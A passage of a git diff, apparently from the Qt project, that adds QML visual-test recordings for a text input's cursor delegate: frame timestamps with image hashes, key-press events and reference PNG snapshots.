"7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 192 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 208 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 224 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 240 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 256 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 272 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 288 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 304 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 320 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 336 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 352 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 368 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 384 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 400 + hash: "7619ed68aca3544f373777e11a4bfefa" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.0.png new file mode 100644 index 0000000..f04f65e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.1.png new file mode 100644 index 0000000..46a703a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.2.png new file mode 100644 index 0000000..e4a3877 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.3.png new file mode 100644 index 0000000..9ef842a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.4.png new file mode 100644 index 0000000..706e2b3 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.5.png new file mode 100644 index 0000000..bcc86cc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.6.png new file mode 100644 index 0000000..51ddd44 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.7.png new file mode 100644 index 0000000..0a2fdda Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.8.png new file mode 100644 index 0000000..9c88bff Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml new file mode 100644 index 0000000..df2dd38 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml @@ -0,0 +1,3379 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 32 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 48 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 64 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 80 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 96 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 112 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 128 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 144 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 160 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 176 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 192 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 208 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 224 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 240 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 256 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 272 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 288 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 304 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 320 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 336 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 352 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 368 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 384 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 400 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 416 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 432 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 448 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 464 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 480 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 496 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Frame { + msec: 512 + hash: "cd442d6dc4d155f54ae24f03d080f50c" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 528 + hash: "56db24ad686d34e75a2d184e5b1da2a9" + } + Frame { + msec: 544 + hash: "c3487c7c7dcd392e7eacb74045dd4143" + } + Frame { + msec: 560 + hash: "70aedcda6c93875d18ee111d8a19549e" + } + Frame { + msec: 576 + hash: "47ad557d366536ad457f6866241dba93" + } + Frame { + msec: 592 + hash: "e715c2a82745829665226df78598b819" + } + Frame { + msec: 608 + hash: "2ff4bd5602c34c020162f0503d625049" + } + Frame { + msec: 624 + hash: "a494b3b25a23daa858034ebccce0d1c7" + } + Frame { + msec: 640 + hash: "59d2fb8e21802d256b11730b31919fb3" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 656 + hash: "5e09b95292d6d0afe76a5015b0ccebf1" + } + Frame { + msec: 672 + hash: "de3c911aec7e42557ece4bdcf02ce562" + } + Frame { + msec: 688 + hash: "680f51f63c4b11a247a668eb7bbd2b62" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "9aa569f7b251371bdd1cb05c8d3aab28" + } + Frame { + msec: 720 + hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" + } + Frame { + msec: 736 + hash: "a0cb3f796fddf7100ca19aee3dedbea8" + } + Frame { + msec: 752 + hash: "b4e273b6415e3951eab2f831100b0bb2" + } + Frame { + msec: 768 + hash: "fd3fd655785c4e3c470f742451e3470f" + } + Frame { + msec: 784 + hash: "7a9b2057760e48d5f9cfdc79b08866d8" + } + Frame { + msec: 800 + hash: "2a55b52db02d97963d382c9862307384" + } + Frame { + msec: 816 + hash: "c6c90915393fc7cb0aaa464caefbadb0" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 832 + hash: "4f097223462c8f619188b0b0c2ecb080" + } + Frame { + msec: 848 + hash: "243be452ff0798538defc6a14cb8a08b" + } + Frame { + msec: 864 + hash: "e5472ed9a8a43a64a0fea12540619940" + } + Frame { + msec: 880 + hash: "90b0f5f1aa7b5f066fb1266ea63254eb" + } + Frame { + msec: 896 + hash: "97d5f9fe02e4bd06ec30a7805945f167" + } + Frame { + msec: 912 + hash: "eb381a1e2ad945e4cfa540c137edbda7" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 928 + hash: "75252ff61682fd32117f0759ebe4b6a1" + } + Frame { + msec: 944 + hash: "d724bdacc59bce29d0a42d72479be0b6" + } + Frame { + msec: 960 + image: "cursorDelegate.0.png" + } + Frame { + msec: 976 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 992 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 1008 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 1024 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 1040 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 1056 + hash: "e3948b393a3778066a90197b31c71e51" + } + Key { + type: 6 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Key { + type: 6 + key: 16777249 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1072 + hash: "d7703c18b69f485bba3abd655100b50d" + } + Frame { + msec: 1088 + hash: "d724bdacc59bce29d0a42d72479be0b6" + } + Frame { + msec: 1104 + hash: "75252ff61682fd32117f0759ebe4b6a1" + } + Frame { + msec: 1120 + hash: "eb381a1e2ad945e4cfa540c137edbda7" + } + Frame { + msec: 1136 + hash: "97d5f9fe02e4bd06ec30a7805945f167" + } + Frame { + msec: 1152 + hash: "90b0f5f1aa7b5f066fb1266ea63254eb" + } + Frame { + msec: 1168 + hash: "e5472ed9a8a43a64a0fea12540619940" + } + Frame { + msec: 1184 + hash: "243be452ff0798538defc6a14cb8a08b" + } + Frame { + msec: 1200 + hash: "4f097223462c8f619188b0b0c2ecb080" + } + Frame { + msec: 1216 + hash: "e7346d8f223684143a0940def878b874" + } + Frame { + msec: 1232 + hash: "512b9746ae4482557b8cef9f99905954" + } + Frame { + msec: 1248 + hash: "4220dde85eb1c027366efd0798927e8d" + } + Frame { + msec: 1264 + hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" + } + Frame { + msec: 1280 + hash: "de09380dd57c58ae99fbdba169a19975" + } + Frame { + msec: 1296 + hash: "bfc1b03df244839a012e8302dc07764f" + } + Frame { + msec: 1312 + hash: "d5f220e5337837ec0d07eb118e2f948e" + } + Frame { + msec: 1328 + hash: "7640c78a286b0b7bdf2ec9117ceced4a" + } + Key { + type: 6 + key: 16777234 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "c659fd76d632aac26d396809b57826dd" + } + Frame { + msec: 1360 + hash: "b5ba335eca37416970dcab53157d7ae6" + } + Frame { + msec: 1376 + hash: "df498dac81260d8867221612ff3b7619" + } + Frame { + msec: 1392 + hash: "578c3a682278f4ead0ca894f029dbfb7" + } + Frame { + msec: 1408 + hash: "5fe9b2365b091047df1b18bcaa5b1bb4" + } + Frame { + msec: 1424 + hash: "c513b8df83f1d1cc3c05769c41741653" + } + Key { + type: 7 + key: 16777234 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1440 + hash: "ee70a2002f52a3f4a9fa32db668db3d0" + } + Frame { + msec: 1456 + hash: "3f299da38c2f3f9057df987d5d339e1f" + } + Frame { + msec: 1472 + hash: "55f6adbd00910e5f39977162cfe8dcc5" + } + Frame { + msec: 1488 + hash: "151fb386855954ae5143046cab314ddf" + } + Frame { + msec: 1504 + hash: "d9ec76b2c07077b5b6d6c3777d116164" + } + Frame { + msec: 1520 + hash: "ef3ba6c27d9b28de829360985505c185" + } + Frame { + msec: 1536 + hash: "8eafd8f9aea08c172f40de3c4f2b3b59" + } + Frame { + msec: 1552 + hash: "2329d5b8182794bb8375f0de204c9b16" + } + Frame { + msec: 1568 + hash: "e6b25cf1a8c6858f6937e649b1315955" + } + Frame { + msec: 1584 + hash: "3aeedff600509a138b0de31e10bbdd7b" + } + Frame { + msec: 1600 + hash: "0636dee0ddc551ce8ecf3a6c6300b020" + } + Frame { + msec: 1616 + hash: "77f5b0dfdf0c631cf863be60bd09db9c" + } + Frame { + msec: 1632 + hash: "2e86762371ae933546e8b2154c78f74b" + } + Frame { + msec: 1648 + hash: "1051ec29f94c31b257a5b1c922f8e93f" + } + Key { + type: 6 + key: 16777236 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "5c60da876c8cc9fa334905b5fc7c2a3d" + } + Frame { + msec: 1680 + hash: "c0b0cddd62853ac3499b7ada200d206a" + } + Frame { + msec: 1696 + hash: "5bd588d64917f942e0f5ea1553acbf63" + } + Frame { + msec: 1712 + hash: "bc5744ef5c81b7d5b365bf977f909be5" + } + Key { + type: 7 + key: 16777236 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1728 + hash: "892a1a8a5a9c198e5ae04cc19f0e1d0c" + } + Frame { + msec: 1744 + hash: "708799d2d834302c659958701e217b37" + } + Frame { + msec: 1760 + hash: "360d75bcc178bcfd4f93741d653fd821" + } + Frame { + msec: 1776 + hash: "1cfe03528b1cd84e69efc02b9677c748" + } + Frame { + msec: 1792 + hash: "6f45d7c37f1fb90138011b2af24aaf1e" + } + Frame { + msec: 1808 + hash: "ba164375e7ac18cf2e1e613498158fbf" + } + Frame { + msec: 1824 + hash: "14052b9da9e17a6f06fed05d4ed82b9c" + } + Frame { + msec: 1840 + hash: "aac15ce22bfe38f44a46e4644913f144" + } + Frame { + msec: 1856 + hash: "c63aa02ba29ea18334b188185690948d" + } + Frame { + msec: 1872 + hash: "11ed187ccd4c2221f166851c08b6b467" + } + Frame { + msec: 1888 + hash: "3543bd4e538981d4bb2c2313c9663a53" + } + Frame { + msec: 1904 + hash: "a05fa618b094bde2b54b730f513bcabe" + } + Frame { + msec: 1920 + image: "cursorDelegate.1.png" + } + Frame { + msec: 1936 + hash: "52fc4a32526a74f9a04d8795c7a47c6e" + } + Frame { + msec: 1952 + hash: "17623e1b0ffca3b7736ce930f078dbe0" + } + Frame { + msec: 1968 + hash: "75226dac5691627851d83c7370d7603c" + } + Key { + type: 7 + key: 16777249 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1984 + hash: "9e506ad52020e2913e80a13a7f3ac797" + } + Frame { + msec: 2000 + hash: "9e506ad52020e2913e80a13a7f3ac797" + } + Frame { + msec: 2016 + hash: "9e506ad52020e2913e80a13a7f3ac797" + } + Frame { + msec: 2032 + hash: "9e506ad52020e2913e80a13a7f3ac797" + } + Frame { + msec: 2048 + hash: "9e506ad52020e2913e80a13a7f3ac797" + } + Frame { + msec: 2064 + hash: "75226dac5691627851d83c7370d7603c" + } + Frame { + msec: 2080 + hash: "17623e1b0ffca3b7736ce930f078dbe0" + } + Frame { + msec: 2096 + hash: "52fc4a32526a74f9a04d8795c7a47c6e" + } + Frame { + msec: 2112 + hash: "89f2d3b4441faee557b8d5f44e1e1e18" + } + Frame { + msec: 2128 + hash: "a05fa618b094bde2b54b730f513bcabe" + } + Frame { + msec: 2144 + hash: "3543bd4e538981d4bb2c2313c9663a53" + } + Frame { + msec: 2160 + hash: "11ed187ccd4c2221f166851c08b6b467" + } + Frame { + msec: 2176 + hash: "c63aa02ba29ea18334b188185690948d" + } + Frame { + msec: 2192 + hash: "aac15ce22bfe38f44a46e4644913f144" + } + Frame { + msec: 2208 + hash: "14052b9da9e17a6f06fed05d4ed82b9c" + } + Frame { + msec: 2224 + hash: "ba164375e7ac18cf2e1e613498158fbf" + } + Frame { + msec: 2240 + hash: "6f45d7c37f1fb90138011b2af24aaf1e" + } + Frame { + msec: 2256 + hash: "1cfe03528b1cd84e69efc02b9677c748" + } + Key { + type: 7 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "360d75bcc178bcfd4f93741d653fd821" + } + Frame { + msec: 2288 + hash: "708799d2d834302c659958701e217b37" + } + Frame { + msec: 2304 + hash: "892a1a8a5a9c198e5ae04cc19f0e1d0c" + } + Frame { + msec: 2320 + hash: "bc5744ef5c81b7d5b365bf977f909be5" + } + Frame { + msec: 2336 + hash: "5bd588d64917f942e0f5ea1553acbf63" + } + Frame { + msec: 2352 + hash: "c0b0cddd62853ac3499b7ada200d206a" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "5c60da876c8cc9fa334905b5fc7c2a3d" + } + Frame { + msec: 2384 + hash: "136a103a893991b97ec09f373c68c5b9" + } + Frame { + msec: 2400 + hash: "b2181ce0165ee060e1a8b713027011a9" + } + Frame { + msec: 2416 + hash: "e4836bbaf1834658e3ec4bf54a619b53" + } + Frame { + msec: 2432 + hash: "3072492f5f72427c8d45cf3c5d3ff919" + } + Frame { + msec: 2448 + hash: "d897cba896239c77df4f7adb93ad5def" + } + Frame { + msec: 2464 + hash: "ec9867a95de6d6f4c0f92af567d73771" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2480 + hash: "06b72e3180eb946622e4592de0fa6f91" + } + Frame { + msec: 2496 + hash: "33f109c026eaefed113cc12db5912a19" + } + Frame { + msec: 2512 + hash: "ce72c4b4470394dc1c4efd4d9de9907f" + } + Frame { + msec: 2528 + hash: "64ac1105ea10ae1f6401e8421731c606" + } + Frame { + msec: 2544 + hash: "ef977bd74941d3506b8f3ee4b1f587ad" + } + Frame { + msec: 2560 + hash: "9278de91e10788ae5a80399ff5372460" + } + Frame { + msec: 2576 + hash: "ddaaf945a5f714b856ed5155f4e502b2" + } + Frame { + msec: 2592 + hash: "f6bb6ba15d996345df04825da71c2cf3" + } + Frame { + msec: 2608 + hash: "466c78a5a5052b39b113adeda761da6c" + } + Frame { + msec: 2624 + hash: "db650537d773e0d8a737a7bf5f408a5e" + } + Frame { + msec: 2640 + hash: "64be9f85869f19defada296343895a2b" + } + Frame { + msec: 2656 + hash: "5ac6d9751bfadbc7aa064ca0b4d78b2b" + } + Frame { + msec: 2672 + hash: "a088b351dcc6fc3a8d29256f3a2410c3" + } + Frame { + msec: 2688 + hash: "a16a77170a6c969042024fa0868da12d" + } + Frame { + msec: 2704 + hash: "3a2509d0d3a314d2ed72f811f4af741e" + } + Frame { + msec: 2720 + hash: "484db4e1954048cad7eea48bfea08267" + } + Frame { + msec: 2736 + hash: "ad0f84634c5f99ab62ab6d12ad8d8c6a" + } + Frame { + msec: 2752 + hash: "d99b590307f6910963257a1c41c50120" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2768 + hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" + } + Frame { + msec: 2784 + hash: "4220dde85eb1c027366efd0798927e8d" + } + Frame { + msec: 2800 + hash: "512b9746ae4482557b8cef9f99905954" + } + Frame { + msec: 2816 + hash: "e7346d8f223684143a0940def878b874" + } + Frame { + msec: 2832 + hash: "4f097223462c8f619188b0b0c2ecb080" + } + Frame { + msec: 2848 + hash: "243be452ff0798538defc6a14cb8a08b" + } + Frame { + msec: 2864 + hash: "e5472ed9a8a43a64a0fea12540619940" + } + Frame { + msec: 2880 + image: "cursorDelegate.2.png" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2896 + hash: "97d5f9fe02e4bd06ec30a7805945f167" + } + Frame { + msec: 2912 + hash: "eb381a1e2ad945e4cfa540c137edbda7" + } + Frame { + msec: 2928 + hash: "75252ff61682fd32117f0759ebe4b6a1" + } + Frame { + msec: 2944 + hash: "d724bdacc59bce29d0a42d72479be0b6" + } + Frame { + msec: 2960 + hash: "d7703c18b69f485bba3abd655100b50d" + } + Frame { + msec: 2976 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 2992 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 3008 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 3024 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 3040 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 3056 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 3072 + hash: "d7703c18b69f485bba3abd655100b50d" + } + Frame { + msec: 3088 + hash: "d724bdacc59bce29d0a42d72479be0b6" + } + Frame { + msec: 3104 + hash: "75252ff61682fd32117f0759ebe4b6a1" + } + Frame { + msec: 3120 + hash: "eb381a1e2ad945e4cfa540c137edbda7" + } + Frame { + msec: 3136 + hash: "97d5f9fe02e4bd06ec30a7805945f167" + } + Frame { + msec: 3152 + hash: "90b0f5f1aa7b5f066fb1266ea63254eb" + } + Frame { + msec: 3168 + hash: "e5472ed9a8a43a64a0fea12540619940" + } + Frame { + msec: 3184 + hash: "243be452ff0798538defc6a14cb8a08b" + } + Frame { + msec: 3200 + hash: "4f097223462c8f619188b0b0c2ecb080" + } + Frame { + msec: 3216 + hash: "e7346d8f223684143a0940def878b874" + } + Frame { + msec: 3232 + hash: "512b9746ae4482557b8cef9f99905954" + } + Frame { + msec: 3248 + hash: "4220dde85eb1c027366efd0798927e8d" + } + Frame { + msec: 3264 + hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" + } + Frame { + msec: 3280 + hash: "de09380dd57c58ae99fbdba169a19975" + } + Frame { + msec: 3296 + hash: "bfc1b03df244839a012e8302dc07764f" + } + Frame { + msec: 3312 + hash: "d5f220e5337837ec0d07eb118e2f948e" + } + Frame { + msec: 3328 + hash: "7640c78a286b0b7bdf2ec9117ceced4a" + } + Frame { + msec: 3344 + hash: "680f51f63c4b11a247a668eb7bbd2b62" + } + Frame { + msec: 3360 + hash: "de3c911aec7e42557ece4bdcf02ce562" + } + Frame { + msec: 3376 + hash: "5e09b95292d6d0afe76a5015b0ccebf1" + } + Frame { + msec: 3392 + hash: "59d2fb8e21802d256b11730b31919fb3" + } + Frame { + msec: 3408 + hash: "a494b3b25a23daa858034ebccce0d1c7" + } + Frame { + msec: 3424 + hash: "2ff4bd5602c34c020162f0503d625049" + } + Frame { + msec: 3440 + hash: "e715c2a82745829665226df78598b819" + } + Frame { + msec: 3456 + hash: "47ad557d366536ad457f6866241dba93" + } + Frame { + msec: 3472 + hash: "70aedcda6c93875d18ee111d8a19549e" + } + Frame { + msec: 3488 + hash: "c3487c7c7dcd392e7eacb74045dd4143" + } + Frame { + msec: 3504 + hash: "56db24ad686d34e75a2d184e5b1da2a9" + } + Frame { + msec: 3520 + hash: "436349a8371597a74404428983cd894c" + } + Frame { + msec: 3536 + hash: "6e1bb59ec518614a0414092f4939d5ad" + } + Frame { + msec: 3552 + hash: "f0aa02772df579b921e0c68f794d2327" + } + Frame { + msec: 3568 + hash: "09ea1462da333c2aeaaa01e9e4f8d54b" + } + Frame { + msec: 3584 + hash: "46d23d8472ce833591dcff548a644288" + } + Frame { + msec: 3600 + hash: "a7566d5d35a89078bb378bf3f6c78e13" + } + Frame { + msec: 3616 + hash: "4c5f7155b20e34a5627387cdc466e890" + } + Frame { + msec: 3632 + hash: "e9b98922327c412db0116a56283d3c86" + } + Frame { + msec: 3648 + hash: "29ffede9c16c34ead5f291e69e388084" + } + Frame { + msec: 3664 + hash: "16958b8f0b1dbdc15333d99bd1349124" + } + Frame { + msec: 3680 + hash: "3408f8d6e4d6ef34d4d5a0cb51090c4c" + } + Frame { + msec: 3696 + hash: "b32b099b260789266d0a3c0edd61c04e" + } + Frame { + msec: 3712 + hash: "4dd3617b25e8b95cf2ec31db8b3bb80f" + } + Frame { + msec: 3728 + hash: "46b42a08c59909f067810d1984f7a04e" + } + Frame { + msec: 3744 + hash: "ab8c505601c381e8a44fa7b6eea6579d" + } + Frame { + msec: 3760 + hash: "73f56e6e1d2cbf3f559d679eb2c15529" + } + Frame { + msec: 3776 + hash: "b230c56da330823d7d7f7e081c304acb" + } + Frame { + msec: 3792 + hash: "9f3cbd0023dbd78ba4951c26f71c7d5d" + } + Frame { + msec: 3808 + hash: "9e9b11cf2695dd02c1ab175ff194f491" + } + Frame { + msec: 3824 + hash: "8fa6f8eb5deb0ab95c3454e5812ada1d" + } + Frame { + msec: 3840 + image: "cursorDelegate.3.png" + } + Frame { + msec: 3856 + hash: "0b6b24ae8df7c3aa9abb48edb6619d8a" + } + Frame { + msec: 3872 + hash: "45805295dd2482fdf21ac8c9bfe47869" + } + Frame { + msec: 3888 + hash: "4893cd31a730d786f075edfd0afc0ad9" + } + Frame { + msec: 3904 + hash: "a3fbfe732568f5cf6e63809fd7e0c32e" + } + Frame { + msec: 3920 + hash: "21d3327710d51f714e84b5a28df13e4f" + } + Frame { + msec: 3936 + hash: "ea065ab48f27f60505eab36debee3faa" + } + Frame { + msec: 3952 + hash: "fe4c2e368d2110374b7ba9e30f330713" + } + Frame { + msec: 3968 + hash: "723281f6c1a3f03cf170e4de93fa4dbf" + } + Frame { + msec: 3984 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 4000 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 4016 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 4032 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 4048 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 4064 + hash: "723281f6c1a3f03cf170e4de93fa4dbf" + } + Key { + type: 6 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4080 + hash: "c779e46a89c3c9d0f8234a3192175b60" + } + Frame { + msec: 4096 + hash: "f223cfeba468e161943b24ac960196de" + } + Frame { + msec: 4112 + hash: "dd2f21f063d055edc23c874380149067" + } + Frame { + msec: 4128 + hash: "af580b32b67117eb062bbcefe262c719" + } + Key { + type: 7 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4144 + hash: "991f76d483e033024932790f85bb3c5d" + } + Frame { + msec: 4160 + hash: "3d8aa66ab9533d14a468f0869b457033" + } + Frame { + msec: 4176 + hash: "a5540bd5d088ab1201b5f22b32579d7c" + } + Frame { + msec: 4192 + hash: "e0844f30578fef2cdcee4e4ff28ab7cf" + } + Frame { + msec: 4208 + hash: "710e7022b65a9b3fd3a7372bf7f37c7a" + } + Frame { + msec: 4224 + hash: "db553c856b11db7e6feb38b9d562a804" + } + Frame { + msec: 4240 + hash: "6ba56c4ec6e903b0d82235c230ed78cb" + } + Frame { + msec: 4256 + hash: "786de35a11c3fc1a228392195f509c28" + } + Frame { + msec: 4272 + hash: "cc6307597cea821b63391fc9bdbe038b" + } + Frame { + msec: 4288 + hash: "73d49e4d0bef103e11820d888bef0368" + } + Frame { + msec: 4304 + hash: "b2ed6ebf66252463326c2f220b3992fa" + } + Frame { + msec: 4320 + hash: "129b5bc6d55621e2366fc0d80f105df2" + } + Frame { + msec: 4336 + hash: "ae8fe55fa9b497cd6eff18a517c301d8" + } + Frame { + msec: 4352 + hash: "535210bd848a20db2966b06278198e07" + } + Frame { + msec: 4368 + hash: "1f4ea7783b5c60bfc424c73cea07a3a0" + } + Frame { + msec: 4384 + hash: "5b61f2e9308c4de2864bb7cf133ce545" + } + Frame { + msec: 4400 + hash: "f641f87e9556ecfd24f0f0a772295e52" + } + Frame { + msec: 4416 + hash: "36f28574c0b042647bc064d75afa9fbc" + } + Frame { + msec: 4432 + hash: "dba2ca165b8ab35113b8ec127b204ae9" + } + Frame { + msec: 4448 + hash: "56324b95f63eabba718df588159f374d" + } + Frame { + msec: 4464 + hash: "af65d67fef3c743e31acca03716040c4" + } + Frame { + msec: 4480 + hash: "105481b5becd127af4c28961d900148c" + } + Frame { + msec: 4496 + hash: "4859d6bf9c456e52fd463e4c2f68d7f6" + } + Frame { + msec: 4512 + hash: "21c0958bd3c6a1056bb062165c9bc18b" + } + Frame { + msec: 4528 + hash: "287d258a79f45c26c92c69cce6b1a2f3" + } + Frame { + msec: 4544 + hash: "deabc5c7dd111adcb253eb833f118764" + } + Frame { + msec: 4560 + hash: "4bad7380f6b645c551edbe06ff67cac9" + } 